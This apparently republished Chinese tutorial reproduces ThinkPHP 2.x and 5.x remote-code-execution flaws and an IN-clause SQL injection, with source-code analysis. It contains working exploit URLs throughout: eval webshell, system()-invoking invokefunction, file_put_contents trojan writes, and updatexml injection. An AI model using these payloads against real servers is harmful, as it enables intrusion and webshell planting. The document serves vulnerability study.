Rumah  >  Artikel  >  rangka kerja php  >  Jalan ke ujian penembusan: ThinkPHP berulang kerentanan

Jalan ke ujian penembusan: ThinkPHP berulang kerentanan

WBOY
WBOYke hadapan
2023-01-04 15:08:092655semak imbas

Artikel ini membawakan anda pengetahuan yang berkaitan tentang thinkphp, yang terutamanya memperkenalkan kandungan yang berkaitan tentang berulangnya kelemahan ThinkPHP Mari kita lihat bersama-sama.

Jalan ke ujian penembusan: ThinkPHP berulang kerentanan

ThinkPHP

1) Pengenalan

ThinkPHP ialah rangka kerja pembangunan PHP ringan domestik berorientasikan objek percuma, sumber terbuka, pantas dan ringkas.

ThinkPHP dikeluarkan di bawah lesen sumber terbuka Apache2 Ia dilahirkan untuk pembangunan aplikasi WEB yang tangkas dan pembangunan aplikasi peringkat perusahaan yang dipermudahkan Ia mempunyai banyak fungsi dan ciri yang sangat baik seperti sumber terbuka percuma, cepat, mudah dan objek -berorientasikan. Walaupun ThinkPHP telah mengalami lebih daripada lima tahun pembangunan, dengan penyertaan aktif pasukan komuniti, ia telah dioptimumkan dan dipertingkatkan secara berterusan dari segi kemudahan penggunaan, skalabiliti dan prestasi Banyak kes tipikal memastikan ia boleh digunakan secara stabil dalam perniagaan dan pembangunan portal.

ThinkPHP menggunakan banyak rangka kerja dan model asing yang sangat baik, menggunakan struktur pembangunan berorientasikan objek dan model MVC, menggunakan model kemasukan tunggal, dsb. Ia menyepadukan idea Tindakan Struts dan TagLib JSP (pustaka teg), pemetaan ORM ROR dan mod ActiveRecord; ia merangkumi CURD dan beberapa operasi biasa dalam konfigurasi projek, import perpustakaan kelas, enjin templat, bahasa pertanyaan, pengesahan automatik dan model paparan. , penyusunan projek, mekanisme caching, sokongan SEO, pangkalan data teragih, sambungan dan pensuisan berbilang pangkalan data, mekanisme pengesahan dan kebolehskalaan semuanya mempunyai prestasi yang unik.

Menggunakan ThinkPHP, anda boleh membangunkan dan menggunakan aplikasi dengan lebih mudah dan cepat. ThinkPHP sendiri mempunyai banyak ciri asal, dan menyokong prinsip kesederhanaan, pembangunan oleh saya sendiri, dan menggunakan kod paling sedikit untuk melengkapkan lebih banyak fungsi Tujuannya adalah untuk menjadikan pembangunan aplikasi WEB lebih mudah dan pantas!

<.>2) Kaedah pemasangan Selepas memuat turun ThinkPHP dan menyahmampatnya, dua folder akan terbentuk: ThinkPHP dan Contoh.

ThinkPHP tidak perlu dipasang secara berasingan, hanya FTP folder ThinkPHP ke direktori Web pelayan atau salin ke direktori Web tempatan.

3) Penerangan struktur direktori ThinkPHP ThinkPHP.php: Fail kemasukan Rangka kerja

Biasa: Mengandungi beberapa ciri umum rangka kerja Fail, definisi sistem, fungsi sistem dan konfigurasi konvensional, dsb.

Conf: Direktori fail konfigurasi Rangka kerja

Lang: Direktori fail bahasa sistem

Lib: Kelas asas sistem direktori perpustakaan

Tpl: Direktori templat sistem

Perluas: Sambungan rangka kerja

4) Keperluan persekitaran operasi ThinkPHP

thinkphp

boleh menyokong persekitaran pelayan Windows/Unix dan boleh menjalankan pelbagai pelayan dan mod WEB termasuk Apache, IIS dan nginx. Memerlukan sokongan versi PHP5.2.0 atau lebih tinggi, menyokong MYSQL, MSSQL, PGSQL, SQLITE, ORACLE, LBASE dan PDo serta pangkalan data dan sambungan lain. ThinkPHP sendiri tidak mempunyai sebarang keperluan modul khas Keperluan persekitaran pengendalian sistem aplikasi khusus bergantung pada modul yang terlibat dalam pembangunan. Penggunaan memori operasi asas ThinkPHP adalah sangat rendah, dan saiz failnya juga ringan, jadi tidak akan ada kesesakan dalam ruang dan penggunaan memori.

1. 2-rce

0x01 Belajar ilmu lebih awalfungsi preg_replace:

preg_replace( campur $pattern , campuran $replacement , campuran $subjek [, int $limit = - 1 [ , int &$count ]])

Cari bahagian subjek yang sepadan dengan corak untuk menggantikan Buat penggantian.

    $pattern: corak yang hendak dicari, yang boleh menjadi rentetan atau tatasusunan rentetan
  • $replacement: rentetan yang digunakan untuk penggantian Atau tatasusunan
  • $subjek: rentetan sasaran untuk penggantian atau tatasusunan
  • $limit: pilihan, untuk setiap corak Bilangan maksimum penggantian bagi setiap subjek rentetan. Lalai ialah -1
  • $count: pilihan·, ialah bilangan pelaksanaan penggantian
  • Nilai pulangan:

jika Jika subjek ialah tatasusunan, tatasusunan dikembalikan, jika tidak rentetan dikembalikan.

Jika padanan ditemui, subjek yang diganti akan dikembalikan. Jika tidak, subjek yang tidak ditukar akan dikembalikan jika ralat berlaku, NULL dikembalikan.

Ungkapan biasa: https://www. runoob.com/regexp/regexp-syntax.html

0x02 Langkah percubaanLawati halaman dan ketahui bahawa ia adalah rangka kerja Thinkphp cms . Ini adalah pengulangan kelemahan, dan kami tahu dengan jelas bahawa versinya ialah 2.x. Jika anda tidak mengetahui versinya, anda boleh melaporkan ralat dengan memasukkan laluan secara rawak, atau gunakan pengecaman cap jari Yunxi untuk mengesan

Jalan ke ujian penembusan: ThinkPHP berulang kerentananPada masa ini, hanya masukkan alat kawalan jauh arahan pelaksanaan kod yang telah terdedah Kerentanan didedahkan:

/index.php?s=/index/index/xxx/${@phpinfo()}   //phpinfo敏感文件
/index.php?s=a/b/c/${@print(eval($_POST[1]))}  //此为一句话连菜刀

Jalan ke ujian penembusan: ThinkPHP berulang kerentananDi sini anda hanya perlu menggantikan phpinfo() dengan ayat Trojan dan ia akan berjaya!

0x03 实验原理

1)通过观察这句话,我们可以清楚的知道它是将

${@phpinfo()}

作为变量输出到了页面显示,其原理,我通过freebuf总结一下:

在PHP当中, ${} 是可以构造一个变量的, {} 写的是一般字符,那么就会被当作成变量,比如 ${a} 等价于 $a

thinkphp所有的主入口文件默认访问index控制器(模块)

thinkphp所有的控制器默认执行index动作(方法)

http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

数组$var在路径存在模块和动作时,会去除前面两个值。而数组$var来自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路径。

所以我们构造poc如下:

/index.php?s=a/b/c/${phpinfo()}

/index.php?s=a/b/c/${phpinfo()}/c/d/e/f

/index.php?s=a/b/c/d/e/${phpinfo()}.......

2)换而言之,就是在thinphp的类似于MVC的框架中,存在一个Dispatcher.class.php的文件,它规定了如何解析路由,在该文件中,存在一个函数为static public function dispatch(),此为URL映射控制器,是为了将URL访问的路径映射到该控制器下获取资源的,而当我们输入的URL作为变量传入时,该URL映射控制器会将变量以数组的方式获取出来,从而导致漏洞的产生。

类名为`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo()  获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl($route)
static private function getModule($var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称

二、5.0.23-rce

漏洞简介

ThinkPHP 5.x主要分为 5.0.x和5.1.x两个系列,系列不同,复现漏洞时也稍有不同。

在ThinkPHP 5.x中造成rce(远程命令执行)有两种原因

1.路由对于控制器名控制不严谨导致RCE、

2.Request类对于调用方法控制不严谨加上变量覆盖导致RCE

首先记录这两个主要POC:

控制器名未过滤导致rce

function为反射调用的函数,vars[0]为传入的回调函数,vars[1][]为参数为回调函数的参数

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

核心类Request远程代码执行漏洞

filter[]为回调函数,get[]或route[]或server[REQUEST_METHOD]为回调函数的参数,执行回调函数的函数为call_user_func()

核心版需要开启debug模式

POST /index.php?s=captch

_ method=_ construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

or

_ method=_construct&method=get&filter[]=system&get[]=pwd

控制器名未过滤导致RCE

0x01 简介

2018年12月9日,ThinkPHP v5系列发布安全更新v5.0.23,修复了一处可导致远程代码执行的严重漏洞。在官方公布了修复记录后,才出现的漏洞利用方式,不过不排除很早之前已经有人使用了0day

该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞

最终确定漏洞影响版本为:

ThinkPHP 5.0.5-5.0.22

ThinkPHP 5.1.0-5.1.30

理解该漏洞的关键在于理解ThinkPHP5的路由处理方式主要分为有配置路由和未配置路由的情况,在未配置路由的情况,ThinkPHP5将通过下面格式进行解析URL

http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]

同时在兼容模式下ThinkPHP还支持以下格式解析URL:

http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...](参数以PATH_INFO传入)
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[&参数名=参数值...]     (参数以传统方式传入)
eg:
http://tp5.com:8088/index.php?s=user/Manager/add&n=2&m=7
http://tp5.com:8088/index.php?s=user/Manager/add/n/2/m/8

本次漏洞就产生在未匹配到路由的情况下,使用兼容模式解析url时,通过构造特殊url,调用意外的控制器中敏感函数,从而执行敏感操作

下面通过代码具体解析ThinkPHP的路由解析流程

0x02 路由处理逻辑详细分析

分析版本: 5.0.22

跟踪路由处理的逻辑,来完整看一下该漏洞的整体调用链:

thinkphp/library/think/App.php

116行,通过routeCheck()方法开始进行url路由检测

在routeCheck()中,首先提取$path信息,这里获取$path的方式分别为pathinfo模式和兼容模式,pathinfo模式就是通过$_SERVER['PATH_INFO']获取到的主要path信息,==$_SERVER['PATH_INFO']会自动将URL中的""替换为"/",导致破坏命名空间格式==,==兼容模式下==$_SERVER['PATH_INFO']=$_GET[Config::get('var_pathinfo')];,path的信息会通过get的方式获取,var_pathinfo的值默认为's',从而绕过了反斜杠的替换==,这里也是该漏洞的一个关键利用点

检测逻辑:如果开启了路由检测模式(配置文件中的url_on为true),则进入路由检测,结果返回给$result,如果路由无效且设置了只允许路由检测模式(配置文件url_route_must为true),则抛出异常。

在兼容模式中,检测到路由无效后(false === $result),则还会进入Route::parseUrl()检测路由。我们重点关注这个路由解析方式,因为该方式我们通过URL可控:

放回最终的路由检测结果$result($dispath),交给exec执行:

$dispatch = self::routeCheck($request, $config);//line:116
$data = self::exec($dispatch, $config);//line:139
public static function routeCheck($request, array $config)//line:624-658
{
        $path   = $request->path();
        $depr   = $config[&#39;pathinfo_depr&#39;];
        $result = false;
        // 路由检测
        $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config[&#39;url_route_on&#39;];
        if ($check) {
            // 开启路由
            ……
            // 路由检测(根据路由定义返回不同的URL调度)
            $result = Route::check($request, $path, $depr, $config[&#39;url_domain_deploy&#39;]);
            $must   = !is_null(self::$routeMust) ? self::$routeMust : $config[&#39;url_route_must&#39;];
            if ($must && false === $result) {
                // 路由无效
                throw new RouteNotFoundException();
            }
        }
        // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
        if (false === $result) {
            $result = Route::parseUrl($path, $depr, $config[&#39;controller_auto_search&#39;]);
        }
        return $result;
    }

thinkphp/libary/think/Route.php

跟踪Route::parseUrl(),在注释中可以看到大概解析方式

$url主要同通过parseUrlPath()解析,跟踪该函数发现程序通过斜杠/来划分模块/控制器/操作,结果为数组形式,然后将他们封装为$route,最终返回['type'=>'moudle','moudle'=>$route]数组,作为App.php中$dispatch1值,并传入exec()函数中

注意这里使用的时 斜杠/来划分每个部分,我们的控制器可以通过命名空间来调用,命名空间使用反斜杠\来划分,正好错过,这也是能利用的其中一个细节

/**
     * 解析模块的URL地址 [模块/控制器/操作?]参数1=值1&参数2=值2...
     * @access public
     * @param string $url        URL地址
     * @param string $depr       URL分隔符
     * @param bool   $autoSearch 是否自动深度搜索控制器
     * @return array
*/
public static function parseUrl($url, $depr = &#39;/&#39;, $autoSearch = false)//line:1217-1276
    {
        $url              = str_replace($depr, &#39;|&#39;, $url);
        list($path, $var) = self::parseUrlPath($url);  //解析URL的pathinfo参数和变量
        $route            = [null, null, null];
        if (isset($path)) {
            // 解析模块,依次得到$module, $controller, $action
          ……
          // 封装路由
            $route = [$module, $controller, $action];
        }
        return [&#39;type&#39; => &#39;module&#39;, &#39;module&#39; => $route];
    }

thinkphp/library/think/Route.php

private static function parseUrlPath($url)//line:1284-1302
    {
        // 分隔符替换 确保路由定义使用统一的分隔符
        $url = str_replace(&#39;|&#39;, &#39;/&#39;, $url);
        $url = trim($url, &#39;/&#39;);
        $var = [];
        if (false !== strpos($url, &#39;?&#39;)) {
            // [模块/控制器/操作?]参数1=值1&参数2=值2...
            $info = parse_url($url);
            $path = explode(&#39;/&#39;, $info[&#39;path&#39;]);
            parse_str($info[&#39;query&#39;], $var);
        } elseif (strpos($url, &#39;/&#39;)) {
            // [模块/控制器/操作]
            $path = explode(&#39;/&#39;, $url);
        } else {
            $path = [$url];
        }
        return [$path, $var];
    }

路由解析结果作为exec()的参数进行执行,追踪该函数

thinkphp/library/think/App.php

追踪exec()函数,传入了$dispatch,$config两个参数,其中$dispatch为['type' => 'module', 'module' => $route]

因为 type 为 module,直接进入对应流程,然后执行module方法,其中传入的参数$dispatch['module']为模块\控制器\操作组成的数组

跟踪module()方法,主要通过$dispatch['module']获取模块$module, 控制器$controller, 操作$action,可以看到==提取过程中除了做小写转换,没有做其他过滤操作==

$controller将通过Loader::controller自动加载,这是ThinkPHP的自动加载机制,只用知道此步会加载我们需要的控制器代码,如果控制器不存在会抛出异常,加载成功会返回$instance,这应该就是控制器类的实例化对象,里面保存的有控制器的文件路径,命名空间等信息

通过is_callable([$instance, $action])方法判断$action是否是$instance中可调用的方法

通过判断后,会记录$instacne,$action到$call中($call = [$instance, $action]),方便后续调用,并更新当前$request对象的action

最后$call将被传入self::invokeMethod($call, $vars)

protected static function exec($dispatch, $config)//line:445-483
    {
        switch ($dispatch[&#39;type&#39;]) {
……
            case &#39;module&#39;: // 模块/控制器/操作
                $data = self::module(
                    $dispatch[&#39;module&#39;],
                    $config,
                    isset($dispatch[&#39;convert&#39;]) ? $dispatch[&#39;convert&#39;] : null
                );
                break;
            ……
            default:
                throw new \InvalidArgumentException(&#39;dispatch type not support&#39;);
        }
        return $data;
    }
public static function module($result, $config, $convert = null)//line:494-608
    {
        ……
        if ($config[&#39;app_multi_module&#39;]) {
            // 多模块部署
          // 获取模块名
            $module    = strip_tags(strtolower($result[0] ?: $config[&#39;default_module&#39;]));
……
        }
……
        // 获取控制器名
        $controller = strip_tags($result[1] ?: $config[&#39;default_controller&#39;]);
        $controller = $convert ? strtolower($controller) : $controller;
        // 获取操作名
        $actionName = strip_tags($result[2] ?: $config[&#39;default_action&#39;]);
        if (!empty($config[&#39;action_convert&#39;])) {
            $actionName = Loader::parseName($actionName, 1);
        } else {
            $actionName = $convert ? strtolower($actionName) : $actionName;
        }
        // 设置当前请求的控制器、操作
        $request->controller(Loader::parseName($controller, 1))->action($actionName);
      ……
        try {
            $instance = Loader::controller(
                $controller,
                $config[&#39;url_controller_layer&#39;],
                $config[&#39;controller_suffix&#39;],
                $config[&#39;empty_controller&#39;]
            );
        } catch (ClassNotFoundException $e) {
            throw new HttpException(404, &#39;controller not exists:&#39; . $e->getClass());
        }
        // 获取当前操作名
        $action = $actionName . $config[&#39;action_suffix&#39;];
        $vars = [];
        if (is_callable([$instance, $action])) {
            // 执行操作方法
            $call = [$instance, $action];
            // 严格获取当前操作方法名
            $reflect    = new \ReflectionMethod($instance, $action);
            $methodName = $reflect->getName();
            $suffix     = $config[&#39;action_suffix&#39;];
            $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
            $request->action($actionName);
        } elseif (is_callable([$instance, &#39;_empty&#39;])) {
            // 空操作
            $call = [$instance, &#39;_empty&#39;];
            $vars = [$actionName];
        } else {
            // 操作不存在
            throw new HttpException(404, &#39;method not exists:&#39; . get_class($instance) . &#39;->&#39; . $action . &#39;()&#39;);
        }
        Hook::listen(&#39;action_begin&#39;, $call);
        return self::invokeMethod($call, $vars);
    }

先提前看下5.0.23的修复情况,找到对应的commit,对传入的控制器名做了限制

Jalan ke ujian penembusan: ThinkPHP berulang kerentanan

thinkphp/library/think/App.php

跟踪invokeMethod,其中 $method = $call = [$instance, $action]

通过实例化反射对象控制$instace的$action方法,即控制器类中操作方法

中间还有一个绑定参数的操作

最后利用反射执行对应的操作

public static function invokeMethod($method, $vars = [])
    {
        if (is_array($method)) {
            $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
            $reflect = new \ReflectionMethod($class, $method[1]);
        } else {
            // 静态方法
            $reflect = new \ReflectionMethod($method);
        }
        $args = self::bindParams($reflect, $vars);
        self::$debug && Log::record(&#39;[ RUN ] &#39; . $reflect->class . &#39;->&#39; . $reflect->name . &#39;[ &#39; . $reflect->getFileName() . &#39; ]&#39;, &#39;info&#39;);
        return $reflect->invokeArgs(isset($class) ? $class : null, $args);
    }

以上便是ThinkPHP5.0完整的路由检测,

0x03 弱点利用

如上我们知道,url 路由检测过程并没有对输入有过滤,我们也知道通过url构造的模块/控制器/操作主要来调用对应模块->对应的类->对应的方法,而这些参数通过url可控,我们便有可能操控程序中的所有控制器的代码,接下来的任务便是寻找敏感的操作

thinkphp/library/think/App.php

public static function invokeFunction($function, $vars = [])//line:311-320
    {
        $reflect = new \ReflectionFunction($function);
        $args    = self::bindParams($reflect, $vars);
        // 记录执行信息
        self::$debug && Log::record(&#39;[ RUN ] &#39; . $reflect->__toString(), &#39;info&#39;);
        return $reflect->invokeArgs($args);
    }

该函数通过ReflectionFunction()反射调用程序中的函数,这就是一个很好利用的点,我们通过该函数可以调用系统中的各种敏感函数。

找到利用点了,现在就需要来构造poc,首先触发点在thinkphp/library/think/App.php中的invokeFunction,我们需要构造url格式为模块\控制器\操作

模块我们用默认模块index即可,首先大多数网站都有这个模块,而且每个模块都会加载app.php文件,无须担心模块的选择

该文件的命名空间为think,类名为app,我们的控制器便可以构造成\think\app。因为ThinkPHP使用的自动加载机制会识别命名空间,这么构造是没有问题的。

操作直接为invokeFunction,没有疑问

参数方面,我们首先要触发第一个调用函数,简化一下代码再分析一下:

第一行确定 $class 就是我们传入的控制器\think\app实例化后的对象

第二行绑定我们的方法,也就是invokefunction

第三方就可以调用这个方法了,其中$args是我们的参数,通过url构造,将会传入到invokefunction中

$class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
return $reflect->invokeArgs(isset($class) ? $class : null, $args);

然后就进入我们的invokefunctio,该函数需要什么参数,我们就构造什么参数,首先构造一个调用函数function=call_user_func_array

call_user_func_array需要两个参数,第一个参数为函数名,第二个参数为数组,var[0]=system,var[1][0]=id

这里因为两次反射一次回调调用需要好好捋一捋。。。。

Jalan ke ujian penembusan: ThinkPHP berulang kerentanan

复现成功

Jalan ke ujian penembusan: ThinkPHP berulang kerentanan

三.5-rce

0x01 漏洞原理

ThinkPHP是一款运用极广的PHP开发框架,其版本5中,由于没有使用正确的控制器名,导致在网站没有开启强制路由的情况下(即默认情况下),可以执行任意方法,从而导致远程命令执行漏洞。

0x02 漏洞影响版本

ThinkPHP 5.0.5-5.0.22

ThinkPHP 5.1.0-5.1.30

0x03 漏洞复现

可以利用点:

http://192.168.71.141:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

Jalan ke ujian penembusan: ThinkPHP berulang kerentanan

vars[0]用来接受函数名,vars[1][]用来接收参数

如:index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27

Jalan ke ujian penembusan: ThinkPHP berulang kerentanan

会在屏幕上打出123和我们输入的字符串长度

写入一句话木马getshell

使用file_put_contents函数写入shell:

vars[0]=system&vars[1][]=echo%20"">>test.php

Jalan ke ujian penembusan: ThinkPHP berulang kerentanan

使用蚁剑成功getshell!

四.In-sqlinjection-rce

0x01 了解的知识:

pdo预编译:

当我们使用mysql语句进行数据查询时,数据首先传入计算机,计算机进行编译之后传入数据库进行数据查询

(我们使用的是高级语言,计算机无法直接理解执行,所以我们将命令或请求传入计算机时,计算机首先将我们的语句编译成为计算机语言,之后再进行执行,所以如果不编译直接执行计算机是无法理解的,如传入select函数,没编译之前计算机只认为这是五个字符,而无法理解这是个查询函数)

如此说来,我们每次查询时都需要先编译,这样会加大成本,并且会存在sql注入的可能,所以有一定危险。

如此,我们进行查询数据库数据时使用预编译,例如:

select ? from security where tables=?

此语句中?代表占位符,在pdo中表示之后绑定的数据,此时无法确定具体值

用户在传入查询具体数值时,计算机首先将以上的查询语句进行编译,使其具有执行力,之后再对于?代表的具体数值就不进行编译而直接进行查询,所以我们在?处利用sql注入语句代替时,就不具有任何效力,甚至传入字符串时还会报错,而预编译还可以节省成本,即上面语句除了查询数值只编译一次,之后进行相同语句查询时直接使用,只是查询具体数值改变。所以这种预编译的方式可以很好的防止sql注入。

漏洞上下文如下:

<?php
namespace app\index\controller;
use app\index\model\User;
class Index
{
    public function index()
    {
        $ids = input(&#39;ids/a&#39;);
        $t = new User();
        $result = $t->where(&#39;id&#39;, &#39;in&#39;, $ids)->select();
    }
}

如上述代码,如果我们控制了in语句的值位置,即可通过传入一个数组,来造成SQL注入漏洞。

文中已有分析,我就不多说了,但说一下为什么这是一个SQL注入漏洞。IN操作代码如下:

<?php
...
$bindName = $bindName ?: &#39;where_&#39; . str_replace([&#39;.&#39;, &#39;-&#39;], &#39;_&#39;, $field);
if (preg_match(&#39;/\W/&#39;, $bindName)) {
    // 处理带非单词字符的字段名
    $bindName = md5($bindName);
}
...
} elseif (in_array($exp, [&#39;NOT IN&#39;, &#39;IN&#39;])) {
    // IN 查询
    if ($value instanceof \Closure) {
        $whereStr .= $key . &#39; &#39; . $exp . &#39; &#39; . $this->parseClosure($value);
    } else {
        $value = is_array($value) ? $value : explode(&#39;,&#39;, $value);
        if (array_key_exists($field, $binds)) {
            $bind  = [];
            $array = [];
            foreach ($value as $k => $v) {
                if ($this->query->isBind($bindName . &#39;_in_&#39; . $k)) {
                    $bindKey = $bindName . &#39;_in_&#39; . uniqid() . &#39;_&#39; . $k;
                } else {
                    $bindKey = $bindName . &#39;_in_&#39; . $k;
                }
                $bind[$bindKey] = [$v, $bindType];
                $array[]        = &#39;:&#39; . $bindKey;
            }
            $this->query->bind($bind);
            $zone = implode(&#39;,&#39;, $array);
        } else {
            $zone = implode(&#39;,&#39;, $this->parseValue($value, $field));
        }
        $whereStr .= $key . &#39; &#39; . $exp . &#39; (&#39; . (empty($zone) ? "&#39;&#39;" : $zone) . &#39;)&#39;;
    }

可见,$bindName在前边进行了一次检测,正常来说是不会出现漏洞的。但如果$value是一个数组的情况下,这里会遍历$value,并将$k拼接进$bindName。

也就是说,我们控制了预编译SQL语句中的键名,也就说我们控制了预编译的SQL语句,这理论上是一个SQL注入漏洞。那么,为什么原文中说测试SQL注入失败呢?

这就是涉及到预编译的执行过程了。通常,PDO预编译执行过程分三步:

prepare($SQL)编译SQL语句

bindValue($param, $value)将value绑定到param的位置上

execute()执行

这个漏洞实际上就是控制了第二步的$param变量,这个变量如果是一个SQL语句的话,那么在第二步的时候是会抛出错误的:

Jalan ke ujian penembusan: ThinkPHP berulang kerentanan

所以,这个错误“似乎”导致整个过程执行不到第三步,也就没法进行注入了。

但实际上,在预编译的时候,也就是第一步即可利用。我们可以做有一个实验。编写如下代码:

<?php
$params = [
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES  => false,
];
$db = new PDO(&#39;mysql:dbname=cat;host=127.0.0.1;&#39;, &#39;root&#39;, &#39;root&#39;, $params);
try {
    $link = $db->prepare(&#39;SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))&#39;);
} catch (\PDOException $e) {
    var_dump($e);
}

执行发现,虽然我只调用了prepare函数,但原SQL语句中的报错已经成功执行:

Jalan ke ujian penembusan: ThinkPHP berulang kerentanan

究其原因,是因为我这里设置了PDO::ATTR_EMULATE_PREPARES => false。

这个选项涉及到PDO的“预处理”机制:因为不是所有数据库驱动都支持SQL预编译,所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理,那么PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行;如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不会模拟预处理,参数化绑定的整个过程都是和Mysql交互进行的。

非模拟预处理的情况下,参数化绑定过程分两步:第一步是prepare阶段,发送带有占位符的sql语句到mysql服务器(parsing->resolution),第二步是多次发送占位符参数给mysql服务器进行执行(多次执行optimization->execution)。

这时,假设在第一步执行prepare($SQL)的时候我的SQL语句就出现错误了,那么就会直接由mysql那边抛出异常,不会再执行第二步。我们看看ThinkPHP5的默认配置:

...
// PDO连接参数
protected $params = [
    PDO::ATTR_CASE              => PDO::CASE_NATURAL,
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,
    PDO::ATTR_STRINGIFY_FETCHES => false,
    PDO::ATTR_EMULATE_PREPARES  => false,
];
...

可见,这里的确设置了PDO::ATTR_EMULATE_PREPARES => false。所以,终上所述,我构造如下POC,即可利用报错注入,获取user()信息:

http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

Jalan ke ujian penembusan: ThinkPHP berulang kerentanan

但是,如果你将user()改成一个子查询语句,那么结果又会爆出Invalid parameter number: parameter was not defined的错误。因为没有过多研究,说一下我猜测:预编译的确是mysql服务端进行的,但是预编译的过程是不接触数据的 ,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来。

个人总结

其实ThinkPH框架漏洞大多用到的都是设置对于控制器名的一个疏忽问题,不理解的小伙伴可以查来url调用文件的机制来学习一下,其实这些框架漏洞都是基于基础漏洞的一些拓展,至于sql漏洞,了解一下pdo预编译原理即可。

不管java或是php在进行数据库查询的时候都应该进行pdo预编译,我们都知道,在jdbc工作的时候分成好多步

1.建立连接

2.写入sql语句

3.预编译sql语句

4.设置参数

5.执行sql获取结果

6.遍历结果(处理结果)

7.关闭连接

对于程序员来说,jdbc操作总是很麻烦,所以利用预编译就是将mysql查询语句进行封装,之后在进行查询的时候直接输入参数即可,这样即简化了操作也极大程度加强了安全属性,而以此类推,这样来说我们是否可以将其他步骤也进行封装呢,也就是建立连接,写入sql语句等,只留下写入sql语句与遍历结果来进行操作,这样就更加简化了操作。

于是就诞生出了Mybatis半自动框架与Hibernate全自动框架,直接将jdbc的操作进行封装,但是由于全自动框架可操作性过于狭窄,所以现在市面上更多的还是Mybatis框架进行连接服务端与数据库,但是一般政府或国企的项目还是偏向于Hibernate框架,这些知识都是涉及一些编程知识,大家可以自己去了解一下。

推荐学习:《PHP视频教程

Atas ialah kandungan terperinci Jalan ke ujian penembusan: ThinkPHP berulang kerentanan. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:freebuf.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam